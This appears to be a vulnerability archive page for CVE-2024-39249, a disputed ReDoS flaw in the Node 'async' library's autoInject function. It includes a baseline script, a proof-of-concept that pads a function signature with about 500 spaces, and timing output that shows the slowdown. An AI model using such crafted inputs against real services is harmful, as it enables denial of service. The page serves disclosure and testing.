Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1336 CNY

100%

CVE-2024-39249 PoC — Async 安全漏洞

Source
Associated Vulnerability
Title:Async 安全漏洞 (CVE-2024-39249)
Description:Async <= 2.6.4 and <= 3.2.5 are vulnerable to ReDoS (Regular Expression Denial of Service) while parsing function in autoinject function. NOTE: this is disputed by the supplier because there is no realistic threat model: regular expressions are not used with untrusted input.
Readme
# CVE-2024-39249

**Vulnerability Type**

Regular expression Denial of Service (ReDoS)

**Affected Product and Version**

Async version ≤ 2.6.4 and ≤3.2.5 

**Attack Vector**

Async parse function contains crafted payload.

**Description**

Async version ≤ 2.6.4 and ≤3.2.5 are vulnerable to ReDoS (Regular Expression Denial of Service) while parsing function in `autoinject` function.

**PoC**

Vulnerable regular expression: https://github.com/caolan/async/blob/v3.2.5/lib/autoInject.js#L6

Regular expression execute at: https://github.com/caolan/async/blob/v3.2.5/lib/autoInject.js#L41

We will modify baseline.js and compare computation time difference after trigger ReDoS vulnerability.

```jsx
//baseline.js
const async = require('async');

/**
 * adds 3 to a number after 2 seconds
 * @param text
 * @returns {Promise<unknown>}
 */
const add3 = (number = 1) => {
    return new Promise((resolve, reject) => {
        setTimeout(() => {
            resolve(number + 3)
        }, 20)
    })
}

/**
 * Multiplies after 2 seconds
 * @param a
 * @param b
 * @returns {Promise<unknown>}
 */
const mulitply = (a,b) => {
    return new Promise((resolve, reject) => {
        setTimeout(() => {
            resolve(a*b)
        }, 20)
    })
}

/**
 * A control flow using async.autoInject
 * @type {string}
 */
const timerId = 'asyncAuto'
console.time(timerId);
async.autoInject({
    fivePlus3: async () => add3(5),
    onePlus3: async () => add3(1),
    multiplyTheAboveTwoProps: async (fivePlus3,onePlus3) => mulitply(fivePlus3,onePlus3), // takes the resolved values of the fivePlus3,onePlus3
    add3ToFinal: async (multiplyTheAboveTwoProps) => add3(multiplyTheAboveTwoProps), // takes the resolved value of  multiplyTheAboveTwoProps
    add3TofivePlus3: async (fivePlus3) => add3(fivePlus3) // takes the resolved value of fivePlus3
}).then(r => {
    console.timeEnd(timerId);
    console.log('finished controlled flow', r)
})
```

```jsx
//Output from running: node baseline.js
asyncAuto: 67.438ms
finished controlled flow {
fivePlus3: 8,
onePlus3: 4,
add3TofivePlus3: 11,
multiplyTheAboveTwoProps: 32,
add3ToFinal: 35
}
```

```jsx
//poc.js
const async = require('async');

/**
 * adds 3 to a number after 2 seconds
 * @param text
 * @returns {Promise<unknown>}
 */
const add3 = (number = 1) => {
    return new Promise((resolve, reject) => {
        setTimeout(() => {
            resolve(number + 3)
        }, 20)
    })
}

/**
 * Multiplies after 2 seconds
 * @param a
 * @param b
 * @returns {Promise<unknown>}
 */
const mulitply = (a,b) => {
    return new Promise((resolve, reject) => {
        setTimeout(() => {
            resolve(a*b)
        }, 20)
    })
}

/**
 * A control flow using async.autoInject
 * @type {string}
 */
const timerId = 'asyncAuto'
console.time(timerId);
async.autoInject({
    fivePlus3: async () => add3(5),
    onePlus3: async () => add3(1),
    //Add ' '*500 right after async
    multiplyTheAboveTwoProps: async                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    (fivePlus3,onePlus3) => mulitply(fivePlus3,onePlus3), // takes the resolved values of the fivePlus3,onePlus3
    add3ToFinal: async (multiplyTheAboveTwoProps) => add3(multiplyTheAboveTwoProps), // takes the resolved value of  multiplyTheAboveTwoProps
    add3TofivePlus3: async (fivePlus3) => add3(fivePlus3) // takes the resolved value of fivePlus3
}).then(r => {
    console.timeEnd(timerId);
    console.log('finished controlled flow', r)
})
```

```jsx
//Output from running: node poc.js
asyncAuto: 1.852s
finished controlled flow {
  fivePlus3: 8,
  onePlus3: 4,
  add3TofivePlus3: 11,
  multiplyTheAboveTwoProps: 32,
  add3ToFinal: 35
}
```

In summary, the increasing of whitespace leading to more computation overhead from regular expression.
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →